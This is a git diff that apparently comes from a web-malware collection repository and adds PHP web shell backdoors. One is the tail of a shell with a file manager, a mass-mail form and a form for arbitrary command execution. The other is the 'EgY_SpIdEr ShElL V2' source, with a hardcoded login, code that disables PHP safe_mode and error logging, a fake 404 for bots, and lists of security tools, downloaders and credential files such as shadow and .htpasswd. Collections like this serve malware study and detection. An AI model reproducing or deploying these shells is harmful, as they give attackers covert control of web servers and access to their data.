("[-]Error deleting file!"); + echo "Successfully Deleted File!"; + exit; + } +} + +if (isset($_GET['save'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + + <thead> + <tr><td>"; + write_file(urldecode($_POST['file']),stripslashes($_POST['text'])); + + exit; +} + +if (isset($_GET['exec'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead> + <tr><td><center>"; +@chdir(urldecode($_POST['dir'])); +echo "<textarea rows=15 cols=114>"; +echo shell_exec($_POST['command']); +echo "</textarea>"; +exit; +} + + +if (isset($_GET['mkdir'])) { + if (isset($_POST['name'])) { +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr><td>"; + mkdir(urldecode($_POST['dir'])."/".$_POST['name']) or die ("[-]Error creating dir!"); + echo "Successfully created dir!"; + } +exit; +} + +if (isset($_GET['mkfile'])) { + if (isset($_POST['name'])) { +echo "<center><table border=\"1\" rules=\"groups\"> + + <thead> + <tr><td>"; +$dir=urldecode($_POST['dir']); +$filed=$_POST['name']; + + if (@file_exists($dir."/".$filed)) { + echo "[-]Allready exists!"; + exit; + } + $file_c=@fopen($dir."/".$filed,"w") or die ("[-]Can't create file!"); + echo "Scuessfully created file(s)!"; + } +exit; +} + +if (isset($_GET['edit'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead> + <tr><td>"; + if (@file_exists($filename)) { + echo "<form action=".$surl."?&".$word."&save method=post><textarea rows=15 cols=90 name=text>"; + read_file($filename); + echo "</textarea><br><br><input type=hidden name=file value=".urlencode($_GET['file'])."><input type=submit name=sub value=Save>"; + } + exit; +} + + + +if (isset($_GET['copy_start'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead> + <tr><td>"; +copy_file($_POST['from'],$_POST['to']); +exit; +} + + + +if (isset($_GET['copy_file'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + + <thead> + <tr><td>"; +?> +<form action=<?php echo $surl ?>?&<?php echo $word ?>&copy_start method="post"> +New:<br><textarea rows=4 cols=70 name="to"><?php echo realpath($filename) ?></textarea><br><br> +Old:<br><textarea rows=4 cols=70 name="from"><?php echo realpath($filename) ?></textarea><br><br> +<input type="submit" name="sub" value="Copy"> +<?php +exit; +} + +if (isset($_GET['send_mail_st'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead> + + <tr><td>"; +if (isset($_POST['from'])) +{ +if (isset($_POST['to'])) +{ +if (isset($_POST['text'])) +{ +if (isset($_POST['subject'])) +{ +if (isset($_POST['times'])) +{ +send_mail($_POST['from'],$_POST['to'],$_POST['text'],$_POST['subject'],$_POST['times']) ; +exit; +} +} +} +} +} +} +if (isset($_GET['send_mail'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead> + <tr><td>"; +?> +<form action=<?php echo $surl ?>?&<?php echo $word ?>&send_mail_st method="post"> +From:&ensp;&ensp;&ensp;&ensp;<input type="text" name="from"><br><br> +To:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input type="text" name="to"><br><br> +Subject:&ensp;&ensp;<input type="text" name="subject"><br><br> +Times:&ensp;&ensp;&ensp;<input type="text" name="times"><br><br> + +Text:<br><textarea rows=15 cols=60 name="text"></textarea><br><br> +<input type="submit" name="sub" value="Send!"> +<?php +exit; +} +if (isset($_GET['file_browser'])) { + + for ($i=0;$i<4;$i++) { + if (preg_match("/".$file_tps["img"][$i]."/i",$extn)) { +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr><td>"; + echo "<a href=".$surl."?&".$word."&file_browser&file=".urlencode($filename)."&img><img src='".urldecode($surl)."?&".$word."&file=".urldecode($filename)."&img' height= width= border=0><br>"; + exit; +} } + + + +if (@filetype($j_f)=="file") { +echo "<center><table border=\"1\" rules=\"groups\" + <thead> + <tr><td>"; +highlight_file($j_f); + +exit; +} +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr> + + <th></th><td>"; +count_all($j_d); +echo "</tr>"; +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr> + <th>Filename</th><th>Edit</th><th>Copy</th><th>Download</th><th>Delete<th>Perms</th><th>Access</th> "; + + + + +$o_d=opendir($j_d); + + + + while (false !== ($file = readdir($o_d))) { + echo " <tbody> + + <tr> + <td>"; +if (@filetype($j_d."/".$file)=="dir") { +echo "</a><img src=".$surl."?&".$word."&dir&pic=dir height=12 width=><a href=".$surl."&".$word."&&file_browser&file=".urlencode($j_d)."/".urlencode($file).">[".$file."]"; +} else { +echo "<img src=".$surl."?&".$word."&dir&pic=ext_wri height=9 width=><a href=".$surl."&".$word."&&file_browser&file=".urlencode($j_d)."/".urlencode($file).">"; +echo $file; +} +echo "<br></a></td><td><a href=".$surl."&".$word."&edit&file_browser&file=".urlencode($j_d)."/".urlencode($file).">"; +if (@filetype($j_d."/".$file)=="file") { +echo "<center>[Edit]"; +} +else { +echo "</a><center>[-]"; +} +echo "</a></td><td><a href=".$surl."&".$word."&copy_file&file_browser&file=".urlencode($j_d)."/".urlencode($file).">"; +if (@filetype($j_d."/".$file)=="file") { +echo "<center>[Copy]"; +} else { +echo "</a><center>[-]"; +} +echo "</a></td><td><a href=".$surl."&".$word."&download&file_browser&file=".urlencode($j_d)."/".urlencode($file).">"; +if (@filetype($j_d."/".$file)=="file") { +echo "<center>[Download]"; +} else { +echo "</a><center>[-]"; +} +echo "</a></td><td><a href=".$surl."&".$word."&delete&file_browser&file=".urlencode($j_d)."/".urlencode($file).">"; +if (@filetype($j_d."/".$file)=="file") { +echo "<center>[Delete]"; +} else { +echo "</a><center><a href=".$surl."&".$word."&rmdir&file_browser&file=".urlencode($j_d)."/".urlencode($file).">[Delete]</a>"; +} +echo "<td><center>"; +echo @fileowner($j_f."/".$file); +echo "</td>"; +echo "<td><center>"; +get_perms(fileperms($j_f."/".$file)); +echo "</td>"; +echo "</a></td>"; + } +echo "<center><table width=360 height=40 border=\"1\" rules=\"groups\"> + + <thead> + <tr> + <th></th><td>"; +?> +<form enctype="multipart/form-data" action=<?php echo $surl ?>&<?php echo $word ?>&upload method="post"> +file: &ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input name="userfile" type="file"> +<input type="hidden" name="file" value=<?php echo urlencode($_GET['file']) ?>> +<input type="submit" value="Upload"><br><br><?php +if (@is_writable($j_d)) { +echo "<font color=green>[Ok]</font>"; + } else { +echo "<font color=red>[No]</font>"; + } +?> +</form> + +<?php +echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\"> + <thead> + <tr> + <th></th><td>"; +?> +<form action=<?php echo $surl ?>&<?php echo $word ?>&search method="post"> +search: &ensp;&ensp;&ensp;&ensp;<input name="search" type="text"> +<input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>> +&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input type="submit" value="Search"> +</form> +<?php + +echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\"> + <thead> + + <tr> + <th></th><td>"; +?> +<form action=<?php echo $surl ?>?&<?php echo $word ?>&mkdir method="post"> +name: &ensp;&ensp;&ensp;&ensp;&ensp;<input name="name" type="text"> +<input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>> +&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input type="submit" value="mkdir"> +</form> +<?php +if (@is_writable($j_d)) { +echo "<font color=green>[Ok]</font>"; + } else { +echo "<font color=red>[No]</font>"; + } +echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\"> + + <thead> + <tr> + <th></th><td>"; +?> +<form action=<?php echo $surl ?>&<?php echo $word ?>&mkfile method="post"> +name:&ensp;&ensp;&ensp;&ensp;&ensp; <input name="name" type="text"> +<input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>> +&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input type="submit" value="mkfile"> +</form> +<?php +if (@is_writable($j_d)) { +echo "<font color=green>[Ok]</font>"; + } else { +echo "<font color=red>[No]</font>"; + } +echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\"> + + <thead> + <tr> + <th></th><td>"; +?> +<form action=<?php echo $surl ?>&<?php echo $word ?>&exec method="post"> +command: <input name="command" type="text"> +<input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>> +&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input type="submit" value="execute"> +</form> +<?php +echo "</td><center><table border=\"1\" rules=\"groups\"> + <thead> + <tr> + + <th></th><td><a href=".$surl."?&".$word."&special_dir&file=".urlencode($filename).">Special DirOptions</a></td> "; +echo "</a>"; +exit; + } +?> + + + +<html> + <ul id="Navigation"> + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&file_browser&file=<?php echo "." ?>>File_Browser</a></li> + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&send_mail>Send Mail(s)</a></li> + + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&php_code>php_code</a></li> + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&crypt>crypter</a></li> + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&php_info>php_info()</a></li> + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&defined_vars>defined_vars()</a></li> + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&env>env()</a></li> + + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&update>update()</a></li> + </ul> +<center><table border="1" rules="groups"> + <thead> + <tr> + <th></th> + <td> +<form action=<?php echo $surl ?>?&<?php echo $word ?>&exec_st method="post"> + +<input type="submit" name="sub" value="Execute"><br> +<br> +<input type="text" name="command"> +<br> +<input type="radio" name="method" value="1">shell_exec(); +<input type="radio" name="method" value="2">system(); +<input type="radio" name="method" value="3">passthru(); +<input type="radio" name="method" value="4">automatic();<br> +<textarea name="exec" rows=15 cols=90> +<?php +if (isset($_GET['exec_st'])) { + $meth=$_POST['method']; + $com=$_POST['command']; + if (isset($meth)) { + if ($meth=="1") { + echo shell_exec($com); + } + elseif($meth=="2") { + echo system($com); + } + elseif ($meth=="3") { + passthru($com); + } + elseif ($meth=="4") { + if (function_exists(shell_exec)) { + echo shell_exec($com); + } + elseif (function_exists(system)) { + echo system($com); + } + elseif (function_exists(passthru)) { + echo passthru($com); + } + else { + echo "[-]Error"; + } + } + } + } +echo "</textarea>"; +exit; +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/egy.txt b/web-malware-collection-master/Backdoors/PHP/egy.txt new file mode 100755 index 0000000..d9c4649 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/egy.txt @@ -0,0 +1,6146 @@ +<? +########################################### +# EgY_SpIdEr ShElL V2 # +# EgY_SpIdEr # +# www.egyspider.eu # +########################################### + +//Change User & Password + +$tacfgd['uname'] = 'egy_spider'; +$tacfgd['pword'] = 'egy_spider'; + + +// Title of page. +$tacfgd['title'] = 'EgY_SpIdEr ShElL'; + +// Text to appear just above login form. +$tacfgd['helptext'] = 'EgY SpIdEr ShElL'; + + +// Set to true to enable the optional remember-me feature, which stores encrypted login details to +// allow users to be logged-in automatically on their return. Turn off for a little extra security. +$tacfgd['allowrm'] = true; + +// If you have multiple protected pages, and there's more than one username / password combination, +// you need to group each combination under a distinct rmgroup so that the remember-me feature +// knows which login details to use. +$tacfgd['rmgroup'] = 'default'; + +// Set to true if you use your own sessions within your protected page, to stop txtAuth interfering. +// In this case, you _must_ call session_start() before you require() txtAuth. Logging out will not +// destroy the session, so that is left up to you. +$tacfgd['ownsessions'] = false; + + + + +foreach ($tacfgd as $key => $val) { + if (!isset($tacfg[$key])) $tacfg[$key] = $val; +} + +if (!$tacfg['ownsessions']) { + session_name('txtauth'); + session_start(); +} + +// Logout attempt made. Deletes any remember-me cookie as well +if (isset($_GET['logout']) || isset($_POST['logout'])) { + setcookie('txtauth_'.$rmgroup, '', time()-86400*14); + if (!$tacfg['ownsessions']) { + $_SESSION = array(); + session_destroy(); + } + else $_SESSION['txtauthin'] = false; +} +// Login attempt made +elseif (isset($_POST['login'])) { + if ($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword']) { + $_SESSION['txtauthin'] = true; + if ($_POST['rm']) { + // Set remember-me cookie for 2 weeks + setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()+86400*14); + } + } + else $err = 'Login Faild !'; +} +// Remember-me cookie exists +elseif (isset($_COOKIE['txtauth_'.$rmgroup])) { + if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] && $tacfg['allowrm']) { + $_SESSION['txtauthin'] = true; + } + else $err = 'Login Faild !'; +} +if (!$_SESSION['txtauthin']) { +@ini_restore("safe_mode"); +@ini_restore("open_basedir"); +@ini_restore("safe_mode_include_dir"); +@ini_restore("safe_mode_exec_dir"); +@ini_restore("disable_functions"); +@ini_restore("allow_url_fopen"); + +@ini_set('error_log',NULL); +@ini_set('log_errors',0); +?> +<html dir=rtl> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> +<title><?=$tacfg['title']?></title> + +<STYLE> + +BODY + { + SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456 +} + +tr { +BORDER-RIGHT: #dadada ; +BORDER-TOP: #dadada ; +BORDER-LEFT: #dadada ; +BORDER-BOTTOM: #dadada ; +color: #ffffff; +} +td { +BORDER-RIGHT: #dadada ; +BORDER-TOP: #dadada ; +BORDER-LEFT: #dadada ; +BORDER-BOTTOM: #dadada ; +color: #dadada; +} +.table1 { +BORDER: 1; +BACKGROUND-COLOR: #000000; +color: #333333; +} +.td1 { +BORDER: 1; +font: 7pt tahoma; +color: #ffffff; +} +.tr1 { +BORDER: 1; +color: #dadada; +} +table { +BORDER: #eeeeee outset; +BACKGROUND-COLOR: #000000; +color: #dadada; +} +input { +BORDER-RIGHT: #00FF00 1 solid; +BORDER-TOP: #00FF00 1 solid; +BORDER-LEFT: #00FF00 1 solid; +BORDER-BOTTOM: #00FF00 1 solid; +BACKGROUND-COLOR: #333333; +font: 9pt tahoma; +color: #ffffff; +} +select { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #000000; +font: 9pt tahoma; +color: #dadada;; +} +submit { +BORDER: buttonhighlight 1 outset; +BACKGROUND-COLOR: #272727; +width: 40%; +color: #dadada; +} +textarea { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #333333; +font: Fixedsys bold; +color: #ffffff; +} +BODY { +margin: 1; +color: #dadada; +background-color: #000000; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} + +</STYLE> +<script language=\'javascript\'> +function hide_div(id) +{ + document.getElementById(id).style.display = \'none\'; + document.cookie=id+\'=0;\'; +} +function show_div(id) +{ + document.getElementById(id).style.display = \'block\'; + document.cookie=id+\'=1;\'; +} +function change_divst(id) +{ + if (document.getElementById(id).style.display == \'none\') + show_div(id); + else + hide_div(id); +} +</script>'; + +<body> +<br><br><div style="font-size: 14pt;" align="center"><?=$tacfg['title']?></div> +<hr width="300" size="1" noshade color="#cdcdcd"> +<p> +<div align="center" class="grey"> +<?=$tacfg['helptext']?> +</div> +<p> +<? +if (isset($_SERVER['REQUEST_URI'])) $action = $_SERVER['REQUEST_URI']; +else $action = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING']; +if (strpos($action, 'logout=1', strpos($action, '?')) !== false) $action = str_replace('logout=1', '', $action); +?> +<form name="txtauth" action="<?=$action?>" method="post"> +<div align="center"> +<table border="0" cellpadding="4" cellspacing="0" bgcolor="#666666" style="border: 1px double #dedede;" dir="ltr"> +<?=(isset($err))?'<tr><td colspan="2" align="center"><font color="red">'.$err.'</font></td></tr>':''?> +<?if (isset($tacfg['uname'])) {?> +<tr><td>User:</td><td><input type="text" name="uname" value="" size="20" maxlength="100" class="txtbox"></td></tr> +<?}?> +<tr><td>Password:</td><td><input type="password" name="pword" value="" size="20" maxlength="100" class="txtbox"></td></tr> +<?if ($tacfg['allowrm']) {?> +<tr><td align="left"><input type="submit" name="login" value="Login"> +</td><td align="right"><input type="checkbox" name="rm" id="rm"><label for="rm"> + Remmeber Me?</label></td></tr> +<?} else {?> +<tr><td colspan="2" align="center"> + <input type="submit" name="login" value="Login"></td></tr> +<?}?> +</table> +</div> +</form> + +<br><br> +<hr width="300" size="1" noshade color="#cdcdcd"> +<div class="smalltxt" align="center">Developed by + <a href="mailto:egy_spider@hotmail.com">EgY SpIdEr </a>� copyright � + & EgY SpIdEr</div> + +</body> +</html> +<? + // Don't delete this! + exit(); +} +?> +Login As (<font color="#FF0000"><? echo $tacfgd['uname']; ?></font>) <a href="?logout=1">Logout</a></p> +<div align="right"> +<?php + +if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");} + +$language='eng'; + +$auth = 0; + +$name='7d1f6442a9ed59e62f93dcbc2695baa6'; +$pass='7d1f6442a9ed59e62f93dcbc2695baa6'; + +//ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8 +@setlocale(LC_ALL,'ru_RU.cp1251'); + +@ini_restore("safe_mode"); +@ini_restore("open_basedir"); +@ini_restore("safe_mode_include_dir"); +@ini_restore("safe_mode_exec_dir"); +@ini_restore("disable_functions"); +@ini_restore("allow_url_fopen"); + +if(@function_exists('ini_set')) + { + @ini_set('error_log',NULL); + @ini_set('log_errors',0); + @ini_set('file_uploads',1); + @ini_set('allow_url_fopen',1); + } +else + { + @ini_alter('error_log',NULL); + @ini_alter('log_errors',0); + @ini_alter('file_uploads',1); + @ini_alter('allow_url_fopen',1); + } + +error_reporting(E_ALL); + +/* ??? ????? */ +$userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl'); +$danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',', clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',', shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',', logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',', ninja'); +$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/'); +$downloaders = array('wget','fetch','lynx','links','curl','get'); + +/* ??? ?????? ???????? ???? ????? realpath() */ +//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; +//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyz"; +//$chars_rlph = "_-.ABCDEFGHIJKLMNOPQRSTUVWXYZ"; +//$chars_rlph = "_-.abcdefghijklnmopqrstuvwxyz"; +//$chars_rlph = "_-.01234567890"; +$chars_rlph = "abcdefghijklnmopqrstuvwxyz"; + +$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php', +'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root', +'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs', +'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing'); + +/******************************************************************************************************/ + +define("starttime",@getmicrotime()); + +if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;}; + +set_magic_quotes_runtime(0); +@set_time_limit(0); +if(@function_exists('ini_set')) + { + @ini_set('max_execution_time',0); + @ini_set('output_buffering',0); + } +else + { + @ini_alter('max_execution_time',0); + @ini_alter('output_buffering',0); + } +$safe_mode = @ini_get('safe_mode'); +#if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;}; +$version = '1.42'; +if(@version_compare(@phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + $_COOKIE = &$HTTP_COOKIE_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_COOKIE as $k=>$v) + { + $_COOKIE[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="HELLO!"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<h1>Access Denied</h1>"); + } +} + +if(!isset($_COOKIE['tempdir'],$_COOKIE['select_tempdir'])) { + $tempdir='./'; + $select_tempdir = '<select name=tempdir><option value="./">./</option>'; + foreach( $tempdirs as $item) { + if(@is_writable($item)){$select_tempdir .= '<option value="'.$item.'">'.$item.'</option>';$tempdir=$item;} + } + $select_tempdir .= '</select>'; +}else{ + if(isset($_POST['tempdir'])){$tempdir = $_POST['tempdir'];}else{$tempdir = $_COOKIE['tempdir'];} + $select_tempdir = $_COOKIE['select_tempdir']; +} + +$head = '<!-- EgY_SpIdEr --> +<html> +<head> +<meta http-equiv="Content-Language" content="ar-sa"> +<meta name="GENERATOR" content="Microsoft FrontPage 6.0"> +<meta name="ProgId" content="FrontPage.Editor.Document"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> +<title>EgY_SpIdEr ShElL</title> + + + +<STYLE> + +BODY + { + SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456 +} + +tr { +BORDER-RIGHT: #333333 ; +BORDER-TOP: #333333 ; +BORDER-LEFT: #333333 ; +BORDER-BOTTOM: #333333 ; +color: #FFFFFF; +} +td { +BORDER-RIGHT: #333333 ; +BORDER-TOP: #333333 ; +BORDER-LEFT: #333333 ; +BORDER-BOTTOM: #333333 ; +color: #FFFFFF; +} +.table1 { +BORDER: 1; +BACKGROUND-COLOR: #000000; +color: #333333; +} +.td1 { +BORDER: 1; +font: 7pt tahoma; +color: #ffffff; +} +.tr1 { +BORDER: 1; +color: #333333; +} +table { +BORDER: #eeeeee outset; +BACKGROUND-COLOR: #000000; +color: #333333; +} +input { +BORDER-RIGHT: #00FF00 1 solid; +BORDER-TOP: #00FF00 1 solid; +BORDER-LEFT: #00FF00 1 solid; +BORDER-BOTTOM: #00FF00 1 solid; +BACKGROUND-COLOR: #333333; +font: 9pt tahoma; +color: #ffffff; +} +select { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #000000; +font: 9pt tahoma; +color: #333333;; +} +submit { +BORDER: buttonhighlight 1 outset; +BACKGROUND-COLOR: #272727; +width: 40%; +color: #333333; +} +textarea { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #333333; +font: Fixedsys bold; +color: #ffffff; +} +BODY { +margin: 1; +color: #333333; +background-color: #000000; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} + +</STYLE> +<script language=\'javascript\'> +function hide_div(id) +{ + document.getElementById(id).style.display = \'none\'; + document.cookie=id+\'=0;\'; +} +function show_div(id) +{ + document.getElementById(id).style.display = \'block\'; + document.cookie=id+\'=1;\'; +} +function change_divst(id) +{ + if (document.getElementById(id).style.display == \'none\') + show_div(id); + else + hide_div(id); +} +</script>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} + +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } + +function moreread($temp){ +global $lang,$language; +$str=''; + if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('feof')&&@function_exists('fclose') && ($ffile = @fopen($temp, "r"))){ + if($ffile){ + while(!@feof($ffile)){$str .= @fgets($ffile);}; + fclose($ffile); + } + }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')&&($ffile = @fopen($temp, "r"))){ + if($ffile){ + $str = @fread($ffile, @filesize($temp)); + @fclose($ffile); + } + }elseif(@function_exists('file')&&($ffiles = @file($temp))){ + foreach ($ffiles as $ffile) { $str .= $ffile; } + }elseif(@function_exists('file_get_contents')){ + $str = @file_get_contents($temp); + }elseif(@function_exists('readfile')){ + $str = @readfile($temp); + }elseif(@function_exists('highlight_file')){ + $str = @highlight_file($temp); + }elseif(@function_exists('show_source')){ + $str = @show_source($temp); + }else{echo $lang[$language.'_text56'];} +return 